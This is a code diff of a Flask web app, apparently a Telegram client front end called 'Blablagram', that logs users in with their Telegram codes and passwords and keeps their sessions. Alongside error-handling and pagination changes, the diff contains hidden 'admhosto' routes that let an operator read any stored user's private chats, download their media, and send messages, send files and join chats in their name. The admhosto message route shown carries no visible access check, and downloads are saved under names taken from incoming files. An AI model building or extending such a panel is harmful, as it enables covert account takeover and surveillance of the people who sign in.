+ except PhoneCodeInvalidError:
1110
+ result = {'success': False, 'message': 'The verification code is incorrect. Please try again.'}
1111
+ except PhoneCodeExpiredError:
1112
+ result = {'success': False, 'message': 'The verification code has expired. Please request a new code.'}
1113
  except FloodWaitError as e:
1114
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1115
+ except RpcCallError as e:
1116
+ result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}
1117
  except Exception as e:
1118
+ result = {'success': False, 'message': f'An unexpected error occurred during code verification: {e}'}
1119
 
1120
  elif step == 'password':
1121
  password = data.get('password')
 
1131
  result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
1132
  except FloodWaitError as e:
1133
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1134
+ except RpcCallError as e:
1135
+ result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}
1136
  except Exception as e:
1137
+ result = {'success': False, 'message': f'An unexpected error occurred during password verification: {e}'}
1138
 
1139
  else:
1140
  result = {'success': False, 'message': 'Invalid step.'}
1141
  except FloodWaitError as e:
1142
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1143
  except Exception as e:
1144
+ result = {'success': False, 'message': f'An unexpected error occurred during connection: {e}'}
1145
  finally:
1146
  if client.is_connected():
1147
  await client.disconnect()
 
1173
  def blabla_gram_app():
1174
  if 'user_id' not in session:
1175
  return redirect(url_for('index'))
1176
+ return render_template_string(BLABLAGRAM_APP_TEMPLATE)
1177
 
1178
  @app.route('/api/user_chats')
1179
  def api_user_chats():
 
1197
  full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
1198
  title = full_name if full_name else "Unnamed User"
1199
  if dialog.entity.username:
1200
+ title = f"{title} (@{dialog.entity.username})" if title else f"@{dialog.entity.username}"
1201
  elif isinstance(dialog.entity, Channel):
1202
  chat_type = 'Channel'
1203
  if hasattr(dialog.entity, 'participants_count'):
 
1210
  title = title if title else "Unknown Chat"
1211
  chat_type = "Unknown"
1212
 
1213
+ initial = (title[0].upper() if title else dialog.name[0].upper()) if dialog.name else '?'
1214
 
1215
  chats_info.append({
1216
  'id': dialog.id,
 
1237
  user_id = session.get('user_id')
1238
  if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1239
 
1240
+ offset_id = request.args.get('offset_id', 0, type=int)
1241
+ limit = 50
 
 
1242
 
1243
  async def _get_messages_async():
1244
  client, error = await get_user_client(user_id)
1245
+ if error: return None, error, None, False
1246
 
1247
  messages = []
1248
+ next_offset_id = 0
1249
+ has_more_messages = False
1250
  try:
1251
  entity = await client.get_entity(peer_id)
1252
+ async for message in client.iter_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=False):
1253
+ if len(messages) >= limit: # Fetch one extra to check if there are more
1254
+ has_more_messages = True
 
1255
  break
1256
 
1257
  msg_data = {
1258
+ 'message_id': message.id, # Keep message ID for next offset
1259
  'text': message.text,
1260
  'date': message.date.strftime("%b %d, %H:%M"),
1261
  'is_sent': message.out,
1262
+ 'sender_name': 'Unknown',
1263
+ 'type': 'Unknown'
1264
  }
1265
  if message.sender:
1266
  if isinstance(message.sender, User):
1267
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
1268
+ msg_data['type'] = 'User'
1269
+ elif hasattr(message.sender, 'title'): # Chat/Channel
1270
  msg_data['sender_name'] = message.sender.title
1271
+ msg_data['type'] = 'Group/Channel'
1272
  else:
1273
  msg_data['sender_name'] = str(message.sender.id)
1274
 
 
1280
  if hasattr(attr, 'file_name'):
1281
  file_name = attr.file_name
1282
  break
1283
+ elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1284
+ file_name = f"photo_{message.media.photo.id}.jpg"
1285
+
1286
+ download_path = Path(DOWNLOAD_DIR) / file_name
1287
+ file_info = await client.download_media(message, file=download_path)
1288
+ if file_info:
1289
+ file_path = Path(file_info)
1290
+ msg_data['file_name'] = file_path.name
1291
+ file_size = os.path.getsize(file_path)
 
 
 
 
 
 
 
1292
  msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
 
1293
  except Exception as media_e:
1294
  msg_data['file_name'] = f"Download failed: {media_e}"
1295
  messages.append(msg_data)
 
1296
 
1297
+ if messages:
1298
+ next_offset_id = messages[-1]['message_id']
1299
+ if has_more_messages:
1300
+ messages = messages[:-1] # Remove the extra message if we loaded more than limit
1301
+ else:
1302
+ next_offset_id = 0 # No more messages
1303
+ else:
1304
+ next_offset_id = 0
1305
+ has_more_messages = False
1306
 
1307
  except Exception as e:
1308
+ return None, str(e), None, False
1309
  finally:
1310
  if client and client.is_connected():
1311
  await client.disconnect()
1312
+ return messages, None, next_offset_id, has_more_messages
1313
 
1314
+ messages, error, next_offset_id, has_more_messages = asyncio.run(_get_messages_async())
1315
  if error:
1316
  return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1317
 
1318
+ return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id, 'has_more_messages': has_more_messages})
1319
 
1320
  @app.route('/api/send_message', methods=['POST'])
1321
  def api_send_message():
 
1335
  return {'success': True, 'message': 'Message sent.'}
1336
  except FloodWaitError as e:
1337
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1338
+ except RpcCallError as e:
1339
+ return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1340
  except Exception as e:
1341
  return {'success': False, 'message': str(e)}
1342
  finally:
 
1368
  return {'success': True, 'message': 'File sent.'}
1369
  except FloodWaitError as e:
1370
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1371
+ except RpcCallError as e:
1372
+ return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1373
  except Exception as e:
1374
  return {'success': False, 'message': str(e)}
1375
  finally:
 
1399
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1400
  except (UserNotParticipantError, ValueError):
1401
  return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
1402
+ except RpcCallError as e:
1403
+ return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1404
  except Exception as e:
1405
  return {'success': False, 'message': f'Error joining chat: {e}'}
1406
  finally:
 
1437
  elif isinstance(dialog.entity, User): chat_type = 'User'
1438
 
1439
  title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")
1440
+ if isinstance(dialog.entity, User) and dialog.entity.username:
1441
+ title = f"{title} (@{dialog.entity.username})" if title else f"@{dialog.entity.username}"
1442
 
1443
  chats_info.append({
1444
  'id': dialog.id,
 
1454
 
1455
  chats, error = asyncio.run(_get_chats_async())
1456
  if error: return f"Failed to load chats: {error}", 500
1457
+ return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']))
1458
 
1459
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1460
  def admhosto_get_chat_messages(user_id, peer_id):
1461
+ offset_id = request.args.get('offset_id', 0, type=int)
1462
+ limit = 50
 
 
1463
 
1464
  async def _get_messages_async():
1465
  client, error = await get_user_client(user_id)
1466
+ if error: return None, error, None, False
1467
  messages = []
1468
+ next_offset_id = 0
1469
+ has_more_messages = False
1470
  try:
1471
  entity = await client.get_entity(peer_id)
1472
+ async for message in client.iter_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=False):
1473
+ if len(messages) >= limit:
1474
+ has_more_messages = True
 
1475
  break
1476
 
1477
  msg_data = {
1478
+ 'message_id': message.id,
1479
  'text': message.text,
1480
  'date': message.date.strftime("%b %d, %H:%M"),
1481
  'is_sent': message.out,
1482
+ 'sender_name': 'Unknown',
1483
+ 'type': 'Unknown'
1484
  }
1485
  if message.sender:
1486
  if isinstance(message.sender, User):
1487
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
1488
+ msg_data['type'] = 'User'
1489
  elif hasattr(message.sender, 'title'):
1490
  msg_data['sender_name'] = message.sender.title
1491
+ msg_data['type'] = 'Group/Channel'
1492
  else:
1493
  msg_data['sender_name'] = str(message.sender.id)
1494
 
 
1500
  if hasattr(attr, 'file_name'):
1501
  file_name = attr.file_name
1502
  break
1503
+ elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1504
+ file_name = f"photo_{message.media.photo.id}.jpg"
1505
 
1506
+ download_path = Path(DOWNLOAD_DIR) / file_name
1507
+ file_info = await client.download_media(message, file=download_path)
1508
+ if file_info:
1509
+ file_path = Path(file_info)
1510
+ msg_data['file_name'] = file_path.name
1511
+ file_size = os.path.getsize(file_path)
 
 
 
 
 
 
 
1512
  msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1513
  except Exception as media_e:
1514
  msg_data['file_name'] = f"Download failed: {media_e}"
1515
  messages.append(msg_data)
 
1516
 
1517
+ if messages:
1518
+ next_offset_id = messages[-1]['message_id']
1519
+ if has_more_messages:
1520
+ messages = messages[:-1]
1521
+ else:
1522
+ next_offset_id = 0
1523
+ else:
1524
+ next_offset_id = 0
1525
+ has_more_messages = False
1526
 
1527
  except Exception as e:
1528
+ return None, str(e), None, False
1529
  finally:
1530
  if client and client.is_connected(): await client.disconnect()
1531
+ return messages, None, next_offset_id, has_more_messages
1532
 
1533
+ messages, error, next_offset_id, has_more_messages = asyncio.run(_get_messages_async())
1534
  if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1535
+ return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id, 'has_more_messages': has_more_messages})
1536
 
1537
  @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
1538
  def admhosto_send_message(user_id):
 
1548
  return {'success': True, 'message': 'Message sent.'}
1549
  except FloodWaitError as e:
1550
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1551
+ except RpcCallError as e:
1552
+ return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1553
  except Exception as e:
1554
  return {'success': False, 'message': str(e)}
1555
  finally:
 
1577
  return {'success': True, 'message': 'File sent.'}
1578
  except FloodWaitError as e:
1579
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1580
+ except RpcCallError as e:
1581
+ return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1582
  except Exception as e:
1583
  return {'success': False, 'message': str(e)}
1584
  finally:
 
1602
  return {'success': True, 'message': 'Successfully joined.'}
1603
  except FloodWaitError as e:
1604
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1605
+ except RpcCallError as e:
1606
+ return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1607
  except Exception as e:
1608
  return {'success': False, 'message': f'Error joining: {e}'}
1609
  finally: